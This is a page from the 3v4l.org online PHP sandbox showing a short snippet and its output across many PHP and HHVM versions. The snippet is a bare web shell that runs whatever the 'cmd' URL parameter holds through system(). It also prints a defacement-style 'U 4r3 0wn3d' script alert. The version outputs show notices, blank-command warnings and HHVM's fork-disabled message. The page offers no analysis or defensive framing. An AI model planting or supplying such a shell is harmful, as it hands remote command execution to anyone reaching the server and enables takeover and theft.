3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php echo "<script>alert(U 4r3 0wn3d !!);</script>"; echo "Run command: ".htmlspecialchars($_GET['cmd']); system($_GET['cmd']); ?>
Output for 5.3.20 - 5.6.38, 7.0.0 - 7.3.1
<script>alert(U 4r3 0wn3d !!);</script> Notice: Undefined index: cmd in /in/r43mm on line 3 Run command: Notice: Undefined index: cmd in /in/r43mm on line 5 Warning: system(): Cannot execute a blank command in /in/r43mm on line 5
Output for hhvm-3.22.0
<script>alert(U 4r3 0wn3d !!);</script> Notice: Undefined index: cmd in /in/r43mm on line -1 Run command: Notice: Undefined index: cmd in /in/r43mm on line -1 fork has been disabled for security reasons
Process exited with code 1.
Output for hhvm-3.10.1, hhvm-3.20.2 - 3.21.3
<script>alert(U 4r3 0wn3d !!);</script> Notice: Undefined index: cmd in /in/r43mm on line 3 Run command: Notice: Undefined index: cmd in /in/r43mm on line 5 fork has been disabled for security reasons
Process exited with code 1.
Output for hhvm-3.11.1 - 3.19.2
<script>alert(U 4r3 0wn3d !!);</script> Notice: Undefined index: cmd in /in/r43mm on line 3 Warning: htmlspecialchars() expects parameter 1 to be string, null given in /in/r43mm on line 3 Run command: Notice: Undefined index: cmd in /in/r43mm on line 5 Warning: system() expects parameter 1 to be string, null given in /in/r43mm on line 5